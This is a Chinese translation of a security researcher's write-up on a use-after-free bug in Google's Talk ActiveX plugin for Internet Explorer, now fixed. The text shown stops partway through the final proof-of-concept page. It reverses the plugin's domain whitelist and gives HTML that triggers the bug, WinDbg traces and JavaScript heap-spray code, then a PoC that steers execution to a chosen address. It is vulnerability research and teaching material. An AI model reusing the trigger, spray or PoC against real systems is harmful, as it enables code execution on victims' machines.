譯者:xd0ol1 (知道創宇404安全實驗室)

原文鏈接:http://pwnanisec.blogspot.be/2017/02/use-after-free-in-google-hangouts.html

作者打算按ROP+shellcode的套路來實現漏洞的利用,但目前只完成了堆噴布局,代碼執行部分還未完成,分析過程值得我們借鑒學習。另外,翻譯不對的地方還望多多指正。

0x00 概述

在15年的時候,我發現Google Hangouts用到的“Google Talk ActiveX Plugin”中存在一個UAF(use-after-free)的漏洞。由于此ActiveX控件是站點鎖定的,也就意味著它只能被白名單中的Google域名所調用,因此要成功利用攻擊者還需要找到其中某個域名的XSS漏洞。該bug已經報告給了Google,在那之后就被修復了。

0x01 ActiveX控件的細節

我們在IE上安裝Google Hangouts時,系統會安裝“Google Talk ActiveX Plugin”這個控件,它能被瀏覽器調用并且導出了下述5個方法:

dispinterface GTalkPluginInterface {
    properties:
    methods:
        [id(0x60020000)]
        void send([in] BSTR str);
        [id(0x60020001), propput]
        void onmessage([in] VARIANT* rhs);
        [id(0x60020002), propget]
        BSTR version();
        [id(0x60020003), propget]
        BSTR wsconnectinfo();
        [id(0x60020004)]
        void wsconnectfailed([in] int port);
};

由分析可知該控件并沒有通過實現IObjectSafetySiteLock接口來將其鎖定到特定域名。

 C:\Program Files (x86)\Microsoft\SiteLock 1.15>sitelist.exe {39125640-8D80-11DC-A2FE-C5C455D89593}  
 SiteList: Utility to dump domain list from a site-locked ActiveX control.  
 [1ff8] No bp log location saved, using default.  
 [000:000] [1ff8] Cpu: 6.58.9, x4, 2890Mhz, 8065MB  
 [000:000] [1ff8] Computer model: Not available  
 IObjectSafetySiteLock not implemented.  

然而,測試表明該控件僅適用于特定的Google域名。既然它沒有使用IObjectSafetySiteLock,我接著又檢查其是否被注冊成IE中的Browser Helper對象,這樣可以獲取navigation事件,通過逆向調試發現確是如此。因此,由導出的IObjectWithSite接口控件可創建與IE的連接,借此就能得到當前訪問的URL信息了。

通過下述C++代碼,我們創建該控件的一個實例,并在調用IObjectWithSite-> SetSite()前插入一個斷點:

#include "stdafx.h"  
#include "windows.h"  
#include "OCIdl.h"  

int _tmain(int argc, _TCHAR* argv[])  
{  
  CoInitialize(NULL);   
  IUnknown *punk;  
  LPGUID pclsid;  
  HRESULT hr = NULL;
  //{39125640-8D80-11DC-A2FE-C5 C4 55 D8 95 93}
  static const GUID CLSID_GTALK = { 0x39125640, 0x8D80, 0x11DC, { 0xa2, 0xfe, 0xc5, 0xc4, 0x55, 0xd8, 0x95, 0x93 } };

  if (FAILED(hr))  
    printf("error");  
  hr = CoCreateInstance(CLSID_GTALK, NULL, CLSCTX_SERVER, IID_IUnknown, (void **)&punk);
  if (FAILED(hr))  
    printf("error");  

  // Ask the ActiveX object for the IDispatch interface.  
  IObjectWithSite *pOSite;  
  hr = punk->QueryInterface(IID_IObjectWithSite, (void **)&pOSite);  
  if (FAILED(hr))  
    printf("error");  

  __asm  
  {  
    int 3;  
  }  
  //pOSite->GetSite(CLSID_GTALK, NULL);  
  pOSite->SetSite(NULL);  

  return 0;  
}

這樣我們就可以在調試器中定位到此函數的入口信息,然后在IE中的相同位置下斷,并借助HTML代碼來加載和調用該控件。

分析可知,控件通過對象傳遞來實現SetSite供IE調用,如下代碼為其中的一部分實現,這里的URL信息由ECX寄存器傳遞:

 0:007> u 5ca85c51  
 googletalkax+0x5c51:  
 5ca85c51 51           push  ecx  
 5ca85c52 50           push  eax  
 5ca85c53 e8d88f0000   call  googletalkax!DllUnregisterServer+0x39e0 (5ca8ec30)  
 5ca85c58 8bd8         mov   ebx,eax  
 5ca85c5a 83c408       add   esp,8  
 5ca85c5d 85db         test  ebx,ebx  
 5ca85c5f 7465         je   googletalkax+0x5cc6 (5ca85cc6)  
 5ca85c61 8b4e40       mov   ecx,dword ptr [esi+40h]  
 0:007> da poi(ecx)  
 1123efc0 "http://localhost:9000/testgoogle"  
 1123efe0 "talkactivexplugin.html"  

通過對此函數的更進一步分析我們可以找到將當前域名和白名單中的域名進行比較的代碼段:

 .text:5CA8CA20         cmp   [ebp+var_8], 10h  
 .text:5CA8CA24         lea   eax, [ebp+var_1C] ; holds the current domain name   
 .text:5CA8CA27         push  dword ptr [esi] ; holds whitelisted domain  
 .text:5CA8CA29         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CA2D         push  eax  
 .text:5CA8CA2E         call  sub_5CA957C0  
 .text:5CA8CA33         add   esp, 8  
 .text:5CA8CA36         test  al, al  
 .text:5CA8CA38         jnz   loc_5CA8CB37  
 .text:5CA8CA3E         add   esi, 4  
 .text:5CA8CA41         cmp   esi, offset aHostedtalkgadg ; "*hostedtalkgadget.google.com"  
 .text:5CA8CA47         jl   short loc_5CA8CA20  

我們可以在調試器中下斷來打印出所有的白名單域名:

 0:005> bl  
  0 e 5ca8ca2e   0001 (0001) 0:**** googletalkax!DllUnregisterServer+0x17de "da poi(esp+4);g"  
 0:005> g  
 5cace2c4 "*hostedtalkgadget.google.com"  
 5cace2e4 "*mail.google.com"  
 5cace2f8 "*plus.google.com"  
 5cace30c "*plus.sandbox.google.com"  
 5cace328 "*talk.google.com"  
 5cace33c "*talkgadget.google.com"  

此外,下述代碼為該函數中的另一條執行路徑,但其需要設置控件中的“plugin_enable_corp_host”標志才能被觸發,這應該是Google內部使用的,對于其它域名還需要執行額外的檢測操作。

 .text:5CA8CA9F         push  offset a_corp_google_c ; "*.corp.google.com"  
 .text:5CA8CAA4         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAA8         push  eax  
 .text:5CA8CAA9         call  sub_5CA957C0  
 .text:5CA8CAAE         add   esp, 8  
 .text:5CA8CAB1         test  al, al  
 .text:5CA8CAB3         jnz   short loc_5CA8CB0C  
 .text:5CA8CAB5         cmp   [ebp+var_8], 10h  
 .text:5CA8CAB9         lea   eax, [ebp+var_1C]  
 .text:5CA8CABC         push  offset a_prod_google_c ; "*.prod.google.com"  
 .text:5CA8CAC1         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAC5         push  eax  
 .text:5CA8CAC6         call  sub_5CA957C0  
 .text:5CA8CACB         add   esp, 8  
 .text:5CA8CACE         test  al, al  
 .text:5CA8CAD0         jnz   short loc_5CA8CB0C  
 .text:5CA8CAD2         cmp   [ebp+var_8], 10h  
 .text:5CA8CAD6         lea   eax, [ebp+var_1C]  
 .text:5CA8CAD9         push  offset a_googlegoro_co ; "*.googlegoro.com"  
 .text:5CA8CADE         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAE2         push  eax  
 .text:5CA8CAE3         call  sub_5CA957C0  
 .text:5CA8CAE8         add   esp, 8  
 .text:5CA8CAEB         test  al, al  
 .text:5CA8CAED         jnz   short loc_5CA8CB0C  
 .text:5CA8CAEF         cmp   [ebp+var_8], 10h  
 .text:5CA8CAF3         lea   eax, [ebp+var_1C]  
 .text:5CA8CAF6         push  offset a_googleplex_co ; "*.googleplex.com"  
 .text:5CA8CAFB         cmovnb eax, [ebp+var_1C]  
 .text:5CA8CAFF         push  eax  
 .text:5CA8CB00         call  sub_5CA957C0  

其中,corp.google.com和googleplex.com域名會返回登錄提示,似乎僅供Google員工使用,而prod.google.com域名則無法訪問,很可能只是內部使用的。

0x02 如何觸發漏洞

繼續,我們知道賦值給“onmessage”導出方法的變量需為JavaScript回調函數,且它會立即被控件所調用,這可以通過下述代碼進行驗證:

 <html>  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 <script>  
 sdr.onmessage = sdrcallback;  
 function sdrcallback(){  
      alert("callback function is called");  
 }  
 </script>  
 </html>  

如果控件在調用回調函數前沒有事先調用AddRef()函數,那么就可能出現use-after-free的情況,因為回調函數不會改變此控件在垃圾回收機制中的引用計數。

我們通過創建一個刪除控件的回調函數來復現此漏洞場景:

 <html>  
 <div id="seandiv">  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 </div>  
 <script>  
 sdr.onmessage = sdrcallback;  
 function sdrcallback(){  
      alert("callback function is called");  
      //delete div  
      this.document.getElementById("seandiv").innerHTML = "";  
      CollectGarbage();  
      CollectGarbage();  
      CollectGarbage();  
 }  
 </script>  
 <body>  
 sdr  
 </body>  
 bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc"  
 </html>  

最終調試器會返回如下的崩潰信息:

 (13b4.24a8): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  
 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -   
 eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0  
 eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00210246  
 googletalkax!DllUnregisterServer+0x6385:  
 13e70ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????  

其中EDI寄存器指向的是一塊無效的內存空間:

 0:008> r  
 eax=00000001 ebx=00000001 ecx=0aabe8b7 edx=00161078 esi=00000000 edi=407a2fb0  
 eip=13e70ca5 esp=0a13c1b8 ebp=0a13c2cc iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00210246  
 googletalkax!DllUnregisterServer+0x6385:  
 13e70ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:407a2fcc=????????  
 0:008> dd edi  
 407a2fb0 ???????? ???????? ???????? ????????  
 407a2fc0 ???????? ???????? ???????? ????????  
 407a2fd0 ???????? ???????? ???????? ????????  
 407a2fe0 ???????? ???????? ???????? ????????  
 407a2ff0 ???????? ???????? ???????? ????????  
 407a3000 ???????? ???????? ???????? ????????  
 407a3010 ???????? ???????? ???????? ????????  
 407a3020 ???????? ???????? ???????? ????????  

進一步分析可知這是一塊釋放掉的內存:

 0:008> !heap -p -a edi  
   address 407a2fb0 found in  
   _DPH_HEAP_ROOT @ 161000  
   in free-ed allocation ( DPH_HEAP_BLOCK:     VirtAddr     VirtSize)  
                   40751ccc:     407a2000       2000  
   51f990b2 verifier!AVrfDebugPageHeapFree+0x000000c2  
   77691564 ntdll!RtlDebugFreeHeap+0x0000002f  
   7764ac29 ntdll!RtlpFreeHeap+0x0000005d  
   775f34a2 ntdll!RtlFreeHeap+0x00000142  
   75f514ad kernel32!HeapFree+0x00000014  
   13e88310 googletalkax!DllUnregisterServer+0x0001d9f0  
   13e6e407 googletalkax!DllUnregisterServer+0x00003ae7  
   13e6218a googletalkax+0x0000218a  
   13e6572f googletalkax+0x0000572f  
   61d0fe01 +0x0000001d  
   61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc  
   61d0d8ee MSHTML!CTxtSite::Release+0x0000001a  
   61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f  
   5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023  
   5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134  
   5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0  
   5e659750 jscript9!Recycler::DisposeObjects+0x0000004a  
   5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a  
   5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087  
   5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026  
   5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b  
   5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad  
   5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079  
   5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b  
   5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940  
   5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce  

0x03 測試漏洞的可利用性

接著我們來測試此漏洞的可利用性,這里需要把上述釋放掉的內存塊替換成新分配的內存空間,然后查看程序的運行過程中能否導致可控的代碼執行,主要借助的是.dvalloc命令。

通過查看下述代碼,我們發現其中存在一條能導致代碼執行的路徑。首先,EDI+1Ch指向的內存值被存入到EAX寄存器,而后EAX指向的內存值又被賦值給了ESI寄存器,再往下程序會執行一些其它操作和函數調用并最終來到ESI+4指向的地址。

 13e70ca5 8b471c        mov   eax,dword ptr [edi+1Ch]  
 13e70ca8 8b30          mov   esi,dword ptr [eax] ds:002b:00000000=????????  
 13e70caa 8d850cffffff  lea   eax,[ebp-0F4h]  
 13e70cb0 50            push  eax  
 13e70cb1 8d45e4        lea   eax,[ebp-1Ch]  
 13e70cb4 50            push  eax  
 13e70cb5 e8768e0000    call  googletalkax!DllUnregisterServer+0xf210 (13e79b30)  
 13e70cba 8b4f1c        mov   ecx,dword ptr [edi+1Ch]  
 13e70cbd 83c408        add   esp,8  
 13e70cc0 50            push  eax  
 13e70cc1 ff5604        call  dword ptr [esi+4]  

我們需要確保13e70cb5處的函數調用不會改變ESI寄存器的值,這樣上面找到的執行路徑才是可控的。下述的WinDbg調試過程給出了如何分配新的內存空間來替換釋放掉的內存塊,并通過單步跟蹤來確認此路徑能導致代碼的執行。

 (11cc.2728): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  
 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -   
 eax=00000001 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=111e2fb0  
 eip=59d80ca5 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00010246  
 googletalkax!DllUnregisterServer+0x6385:  
 59d80ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:111e2fcc=????????  
 0:008> .dvalloc 2000h  
 Allocated 2000 bytes starting at 0c690000  
 0:008> r @edi = 0c690000  
 0:008> dd edi+1c  
 0c69001c 00000000 00000000 00000000 00000000  
 0c69002c 00000000 00000000 00000000 00000000  
 0c69003c 00000000 00000000 00000000 00000000  
 0c69004c 00000000 00000000 00000000 00000000  
 0c69005c 00000000 00000000 00000000 00000000  
 0c69006c 00000000 00000000 00000000 00000000  
 0c69007c 00000000 00000000 00000000 00000000  
 0c69008c 00000000 00000000 00000000 00000000  
 0:008> p  
 eax=00000000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80ca8 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6388:  
 59d80ca8 8b30      mov   esi,dword ptr [eax] ds:002b:00000000=????????  
 0:008> .dvalloc 200  
 Allocated 1000 bytes starting at 0cbd0000  
 0:008> r @eax = 0cbd0000  
 0:008> dd eax  
 0cbd0000 00000000 00000000 00000000 00000000  
 0cbd0010 00000000 00000000 00000000 00000000  
 0cbd0020 00000000 00000000 00000000 00000000  
 0cbd0030 00000000 00000000 00000000 00000000  
 0cbd0040 00000000 00000000 00000000 00000000  
 0cbd0050 00000000 00000000 00000000 00000000  
 0cbd0060 00000000 00000000 00000000 00000000  
 0cbd0070 00000000 00000000 00000000 00000000  
 0:008> p  
 eax=0cbd0000 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80caa esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x638a:  
 59d80caa 8d850cffffff  lea   eax,[ebp-0F4h]  
 0:008> p  
 eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb0 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6390:  
 59d80cb0 50       push  eax  
 0:008> p  
 eax=09d7c510 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb1 esp=09d7c4ec ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6391:  
 59d80cb1 8d45e4     lea   eax,[ebp-1Ch]  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb4 esp=09d7c4ec ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6394:  
 59d80cb4 50       push  eax  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cb5 esp=09d7c4e8 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x6395:  
 59d80cb5 e8768e0000   call  googletalkax!DllUnregisterServer+0xf210 (59d89b30)  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=ef97dd9c edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cba esp=09d7c4e8 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x639a:  
 59d80cba 8b4f1c     mov   ecx,dword ptr [edi+1Ch] ds:002b:0c69001c=00000000  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cbd esp=09d7c4e8 ebp=09d7c604 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000246  
 googletalkax!DllUnregisterServer+0x639d:  
 59d80cbd 83c408     add   esp,8  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cc0 esp=09d7c4f0 ebp=09d7c604 iopl=0     nv up ei pl nz ac pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000216  
 googletalkax!DllUnregisterServer+0x63a0:  
 59d80cc0 50       push  eax  
 0:008> p  
 eax=09d7c5e8 ebx=00000001 ecx=00000000 edx=02c51078 esi=00000000 edi=0c690000  
 eip=59d80cc1 esp=09d7c4ec ebp=09d7c604 iopl=0     nv up ei pl nz ac pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00000216  
 googletalkax!DllUnregisterServer+0x63a1:  
 59d80cc1 ff5604     call  dword ptr [esi+4]  ds:002b:00000004=????????  
 0:008> p  
 (11cc.2728): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  

這表明如果能在釋放掉的內存塊中寫入我們精心構造的數據,那么就能將此漏洞轉換成可利用的代碼執行。

0x04 堆分配

我們知道該釋放掉的內存塊是位于堆空間上的,接下去就來看下它的分配。先在Gflags的設置中勾選“Create User Mode Stack Trace Database”這一項,我們要能夠在同一堆區上分配相同大小的內存空間,這樣才能滿足堆噴的利用條件,因此需要確定釋放的內存是分配在哪塊堆上的。

通過下述HTML代碼我們可以將特定的數據分配到IE的默認堆上:

 <html>  
 <div id="seandiv">  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 </div>  
 <script>  
 function sdrcallback(){  
      alert("callback function is called");  
      //delete div  
      this.document.getElementById("seandiv").innerHTML = "";  
      CollectGarbage();  
      CollectGarbage();  
      CollectGarbage();  
      alert(sdr);  
 }  
 //javapscript heap spray to see if we are on same heap as activeX  
 var seanstring = "seansea"+"n7aaaaaaaaa"+"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";  
 //s -u 0x00000000 L?0xffffffff seansean7  
 sdr.onmessage = sdrcallback;  
 </script>  
 <body></html>  

然后借助WinDbg來看下堆分配的情況:

 (1348.18dc): Access violation - code c0000005 (first chance)  
 First chance exceptions are reported before any exception handling.  
 This exception may be expected and handled.  
 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\Sean\AppData\Local\Google\Google Talk Plugin\googletalkax.dll -   
 eax=00000001 ebx=00000001 ecx=d215f8bc edx=00461078 esi=00000000 edi=3dc19fb0  
 eip=14d10ca5 esp=09b3bf10 ebp=09b3c024 iopl=0     nv up ei pl zr na pe nc  
 cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b       efl=00210246  
 googletalkax!DllUnregisterServer+0x6385:  
 14d10ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:3dc19fcc=????????  
 0:007> !heap -p -a edi  
   address 3dc19fb0 found in  
   _DPH_HEAP_ROOT @ 461000  
   in free-ed allocation ( DPH_HEAP_BLOCK:     VirtAddr     VirtSize)  
                   3dbe1ac4:     3dc19000       2000  
   5f8290b2 verifier!AVrfDebugPageHeapFree+0x000000c2  
   77691564 ntdll!RtlDebugFreeHeap+0x0000002f  
   7764ac29 ntdll!RtlpFreeHeap+0x0000005d  
   775f34a2 ntdll!RtlFreeHeap+0x00000142  
   75f514ad kernel32!HeapFree+0x00000014  
   14d28310 googletalkax!DllUnregisterServer+0x0001d9f0  
   14d0e407 googletalkax!DllUnregisterServer+0x00003ae7  
   14d0218a googletalkax+0x0000218a  
   14d0572f googletalkax+0x0000572f  
   61d0fe01 +0x0000001d  
   61d24fd6 MSHTML!CBase::PrivateRelease+0x000000bc  
   61d0d8ee MSHTML!CTxtSite::Release+0x0000001a  
   61d0d986 MSHTML!CBase::ReleaseInternalRef+0x0000001f  
   5e6586d3 jscript9!Js::CustomExternalObject::Dispose+0x00000023  
   5e65869c jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000134  
   5e659880 jscript9!HeapInfo::DisposeObjects+0x000000b0  
   5e659750 jscript9!Recycler::DisposeObjects+0x0000004a  
   5e6596fe jscript9!Recycler::FinishDisposeObjects+0x0000001a  
   5e74f64c jscript9!Recycler::CollectOnConcurrentThread+0x00000087  
   5e655f36 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000026  
   5e655eeb jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b  
   5e655e6d jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad  
   5e656a46 jscript9!Recycler::DoCollectWrapped+0x00000079  
   5e7fc8dc jscript9!Recycler::Collect<-1073475584>+0x0000004b  
   5e64c06d jscript9!Js::InterpreterStackFrame::Process+0x00001940  
   5e64c7ab jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001ce  
 0:007> s -u 0x00000000 L?0xffffffff seansean7  
 0eebafa6 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 29e66f96 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 4b6c6f02 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 79700c0a 0073 0065 0061 006e 0073 0065 0061 006e s.e.a.n.s.e.a.n.  
 0:007> !heap -p -a 0eebafa6  
   address 0eebafa6 found in  
   _DPH_HEAP_ROOT @ 461000  
   in busy allocation ( DPH_HEAP_BLOCK:     UserAddr     UserSize -     VirtAddr     VirtSize)  
                  eec0208:     eeba7f0       80c -     eeba000       2000  
   5f828e89 verifier!AVrfDebugPageHeapAllocate+0x00000229  
   77690d96 ntdll!RtlDebugAllocateHeap+0x00000030  
   7764af0d ntdll!RtlpAllocateHeap+0x000000c4  
   775f3cfe ntdll!RtlAllocateHeap+0x0000023a  
   61df38ff MSHTML!CHtmRootParseCtx::NailDownChain+0x000004ba  
   61de7c59 MSHTML!CHtmRootParseCtx::EndElement+0x00000119  
   61de7b27 MSHTML!CHtmRootParseCtxRouter::EndElement+0x00000017  
   61dee7b2 MSHTML!CHtml5TreeConstructor::PopElement+0x000000b7  
   61f896b5 MSHTML!CTextInsertionMode::DefaultEndElementHandler+0x00000035  
   620fc85b MSHTML!CInsertionMode::HandleEndElementToken+0x0000003d  
   61df17f5 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026  
   61df16c8 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5  
   61f891f8 MSHTML!CHtml5Tokenizer::EmitElementToken+0x00000067  
   61f8a243 MSHTML!CHtml5Tokenizer::RCDATAEndTagName_StateHandler+0x000003bf  
   61deeec5 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c  
   61def19b MSHTML!CHtml5Parse::ParseToken+0x00000131  
   61dee707 MSHTML!CHtmPost::ProcessTokens+0x000006af  
   61de7f32 MSHTML!CHtmPost::Exec+0x000001e4  
   620b9a78 MSHTML!CHtmPost::Run+0x0000003d  
   620b99de MSHTML!PostManExecute+0x00000061  
   620c1e04 MSHTML!PostManResume+0x0000007b  
   61e4d397 MSHTML!CDwnChan::OnMethodCall+0x0000003e  
   61d0e101 MSHTML!GlobalWndOnMethodCall+0x0000016d  
   61d0db16 MSHTML!GlobalWndProc+0x000002e5  
   751262fa user32!InternalCallWinProc+0x00000023  
   75126d3a user32!UserCallWinProcCheckWow+0x00000109  
   751277c4 user32!DispatchMessageWorker+0x000003bc  
   7512788a user32!DispatchMessageW+0x0000000f  
   6366f668 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464  
   636a25b8 IEFRAME!LCIETab_ThreadProc+0x0000037b  
   7531d6fc iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c  
   5f893991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094  

可以看到ActiveX控件和JavaScript代碼使用了相同的堆區,因此利用起來就方便多了。

0x05 確定堆分配的大小

接著我們還需要確定此釋放對象的大小,這里要禁用掉除了“usermode stack dbs”外所有的Gflags設置,同時還要在崩潰處下個斷點:

 Bu googletalkax!DllUnregisterServer+0x6385 "!heap -p -a edi;g"
 70760ca5 8b471c     mov   eax,dword ptr [edi+1Ch] ds:002b:078f8a44=a48a8f07  
 0:005> !heap -p -a edi  
   address 078f8a28 found in  
   _HEAP @ 730000  
    HEAP_ENTRY Size Prev Flags  UserPtr UserSize - state  
     078f8a10 000d 0000 [00]  078f8a28  00050 - (busy)  
      ? googletalkax!DllUnregisterServer+43db0  

因此釋放掉的對象大小為0x50字節。

0x06 堆噴

然后,我們利用堆噴在釋放內存上重新寫入想要的數據,此步驟要在與釋放對象交互前完成。不過在此之前我們需要先填充IE進程中的那些堆碎片,這個過程會分配大量相同大小的堆。

我們通過下述JS函數來實現堆噴。其中,賦值的0x50字節子字符串需要減去4字節的BSTR對象頭部以及2字節的終止標識,又因為存儲的是Unicode格式,所以還要除以2。最終,該字符串會正好占用0x50字節的內存空間。

 var largechunk = unescape("sean3");  
 var spray = new Array();  
 function dospray()  
 {  
      while (largechunk.length < 0x10000) largechunk += largechunk;  
      for (var i = 0; i < 0x200; i++)  
      {  
           spray[i] = largechunk.substring(0,(0x50-6)/2);  
      }  
 }  

此后,我們還要用到DEPS噴射技術來完成一次精確布局,通過如下堆噴操作后內存0x20302228上會保存有我們的數據。

 function corelan_deps_spray()  
 {  
      var div_container = document.getElementById("corelanspraydiv");  
      div_container.style.cssText = "display:none";  
      junk = unescape("%u615d%u6161");  
      while (junk.length < 0x80000) junk += junk;  
      for (var i = 0; i < 0x500; i++)  
      {  
           var obj = document.createElement("button");  
           obj.title = junk;  
           div_container.appendChild(obj);  
      }  
 }  

0x07 PoC

借助所有的這些信息,我們給出如下的PoC代碼,它能將程序的執行流引向我們所設定的地址:

 <html>  
 <div id="seandiv">  
 <object  
   classid="clsid:39125640-8D80-11DC-A2FE-C5C455D89593" id=sdr  
 >  
 </object>  
 </div>  
 <div id="corelanspraydiv"></div>  
 <script>  
 var largechunk = unescape("%u2030%u2228");  
 var spray = new Array();  
 function dospray()  
 {  
